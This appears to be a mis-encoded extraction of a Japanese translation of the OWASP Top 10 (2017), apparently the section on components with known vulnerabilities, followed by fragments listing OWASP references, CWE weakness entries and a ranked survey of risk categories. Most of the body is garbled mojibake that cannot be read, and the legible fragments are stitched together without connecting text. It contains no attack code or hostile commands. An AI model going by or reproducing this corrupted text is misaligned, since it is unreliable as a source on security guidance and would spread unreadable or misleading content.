• &�åËúìęĎĳÿĲāđé°Ûùċĸěë�´ÙäÉ�Ìi
²êx1�å9�ÛùÊ

• .ê�['õęĎĳÿĲāđ`éyÚß�3èçÉęĎĳÿĲā
ēĸĎıķå|yÙß5Yõ�3ëĵĉé�®ÛùÊ

• ęĎĳÿĲāđÛùċķĘĜõČĸĠÐ÷êÉ¥%�é°ÛùĞĖ
ĚĶĸĈS�ëÉ�²ôÙÓëĬĝĔĳķĉÛùÊ

• t8êİĸčÑ�ÎÜęĎĳÿĲāđÙäÌèÌÐÉęĎĳÿĲā
ēĸĎıķüĬĝĔĳķĉÙÉ�*ÛùÊ

��
�����

A#��
�1��:�4	1��

IzêÙõÛ×: 1 �>=: 2 f�êÙõÛ×: 2 P�µ: 3

^NêăĈĐĥĵāĚOoëÉ�ê
ăĈĐĥĵāĚċĸěé2aõ�[ü
�ÎÜéXUÑN�ÛùĊĸĐë
ðúåÛÊÞêßóęĎĳÿĲā
ēĸĎıķêIzëÉ:_åëËø
ðÝýÊ

Öê,¸ëÉOWASPÑ�áßg{�eé/ãÒTop10
é�ñ¤ðúðÙßÑÉ8­}èęĸĔé/ãÌßôê
åëËøðÝýÊ ėĸĴéöáäëÉęĎĳÿĲāēĸ
Ďıķé°Ûùj³ü|�&�åÛÑÉ,¸üf�Ûù
ßóéÉ4Óê0'É�OéöùVTÑE�åÛÊęĎĳ
ÿĲāēĸĎıķ,¸êf~æ<FéB�âėĸĴÑ[
�×úùéâúÉÖêj³Ñp�ÛùêåëèÌÐæ�
Î÷úðÛÊ

ęĎĳÿĲāēĸĎıķêj³éöù
A¶ëÉMLÛïÒôêåÛÊ Öú
÷êj³ëÉcôq�èXUê�â
åËùĳĬĸĚċĸě9�XUü&
�éÙðÛÊ

ĢďĞĐµîêA¶ëÉÿĥĳĊĸ
ĎıķæęĸĔü� Ûù¬�Hé
�6ÙðÛÊ
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\[ĸŅŘıĕ�

ĸŅŘı#1: ĶŝŏŠŇŝŃĖ®EöĪōŘĵŠĸŖŝ��đ-ąn¸
ĐB�ăĦĥĉğöĒĨēĶŝŏŠŇŝŃĔ?5ĆĥpºĠöw�ē
M¿ħ(ěĆ+�RþøĤĜĆ÷ĈĕĢúēpºĖö���š�ţĶŠ
łīŝĴįŗŠŢĜĉĖV4�š�ţĶŝŏŠŇŝŃĕňĿĳńĪŢ�a
ĕ+�RþøĤĜĆ÷ ��xĝĕS�+�ēĶŝŏŠŇŝŃĕ�K
Rĕ�ţ

• ÒïáãèåÃÝòðóòñÃËĔüùďŘœŠŃĐ
VĕĶŠńþB�ăĦĥ�
KRÔßÖÇËÉÊÐÇÎÏÌÑĖö²=ē�CħĠĉģĄďùĜĆ÷

• ØíòåðíåòÃîæÃòèéíçñÃÄØîÞÅĖöÀ�ēŉĿľ¯�þ3¼ĠĄĀĖ�+
�ĐĆþö�aĐŉĿľ¯�ĕ²�RĖĜĆĜĆÂĜČďùĜĆ÷
š�ţ"�o1Ţ

\[�ħ�āĥĢúēŀŠřþøĤöŉĿľþi¯�ēĸĺŁőġĸ
ĺŁőĕ¥AŐĺħ� �Ĕ�čāĥĂđþĐÿĜĆ÷�ûėö
ÝèîäáíÃØîÞÃñåáðãèÃåíçéíåĖöËÉÊÍFÍgĔŉĿľþ¯�ăĦĉ
×åáðòâìååäĕ�KRēĒĻĲŕŘŁīĔ0Áĕøĥo1ħ�čāĥĂ
đþĐÿĜĆ÷

�KR��ĕŏĬŝŃ
��Ĕ¦LĆĥ8,ö�Kđ¢ûĜĆ:
• ��ĄďùĥĆĚďĕĶŝŏŠŇŝŃĕňŠĹŖŝħ�ģēù8,
šĳŗĬĪŝŃķĬńşķŠňķĬńĕ�aĔčùďŢ÷ĂĦĔĖ�
Y��ĆĥĶŝŏŠŇŝŃĊāĐēĀöŇĺŃăĦĉ�?¶�Ġ/
Ğ÷

• ļŋŃĭĮĪþ�Kē8,ġķŏŠŃþēù8,öĜĉ��h¸
þ�Ħďùĥ8,÷ĂĦĔĖöÚÝġàåâķŠňöĪōŘĵŠĸŖŝ
ķŠňöłŠĽŎŠĺ�|ĸĺŁőšÕÓÙÝŢöĪōŘĵŠĸŖŝö
ÒÛØöĆĚďĕĶŝŏŠŇŝŃöŗŝĽĬő}9đŗĬŌŗŘħ/Ğ
8,÷

• �KRĺĲŔŝħAh�ĔĄďùēù8,ġö��ĄďùĥĶŝ
ŏŠŇŝŃĔ¶ĆĥĻĲŕŘŁīT7ħ«¨Ąďùēù8,÷

• 6�ōŗĿŃŋİŠőġŋŚŠőŜŠĳüĢĘ�?¶�ħŘĺĳĔ
6ĎÿĽĬőŘŠĔ�sĜĉĖĪĿōĴŚŠńĄēù8,÷ŉĿľ
¯�þ:d�|ĕ�ögqġ2#hĕĽĺĳđăĦďùĥ}9Đ
ĢĀ¬Ăĥ÷ĂĦĔĢĤöL¦��Ėö¡txĝĕ�KRĔčùďö
�cĠö8,ĔĢČďĖ�ŞgĠ�Q�ē%»ĔăģăĦĥĂđĔ
ēĥ÷

• ļŋŃĭĮĪ´��þöd`ġĪĿōĴŚŠńĜĉĖŉĿľĕ�Z
RħŁĺŃĄēù8,÷

• ĶŝŏŠŇŝŃĕ¥AħĻĲŕĪĔĄďùēù8,÷( A6:2017-�
¯�ēĻĲŕŘŁī¥A'{)

'�ª^
OWASP
• OWASP Application Security Verification Standard: V1 

Architecture, design and threat modelling
• OWASP Dependency Check (for Java and .NET libraries)
• OWASP Testing Guide: Map Application Architecture (OTG-

INFO-010)
• OWASP Virtual Patching Best Practices

;±ª^
• The Unfortunate Reality of Insecure Libraries
• MITRE Common Vulnerabilities and Exposures (CVE) search
• National Vulnerability Database (NVD)
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• CWE-352: Cross-Site Request Forgery (CSRF)
• CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion', 'AppDoS')
• CWE-434: Unrestricted Upload of File with Dangerous Type
• CWE-451: User Interface (UI) Misrepresentation of Critical Information (Clickjacking and others)
• CWE-601: Unvalidated Forward and Redirects
• CWE-799: Improper Control of Interaction Frequency (Anti-Automation)
• CWE-829: Inclusion of Functionality from Untrusted Control Sphere (3rd Party Content)
• CWE-918: Server-Side Request Forgery (SSRF)
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1 Exposure of Private Information ('Privacy Violation') [CWE-359] 748

2 Cryptographic Failures [CWE-310/311/312/326/327] 584

3 Deserialization of Untrusted Data [CWE-502] 514

4 Authorization Bypass Through User-Controlled Key (IDOR* & Path Traversal) [CWE-639] 493
5 Insufficient Logging and Monitoring [CWE-223 / CWE-778] 440
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• Minded Security
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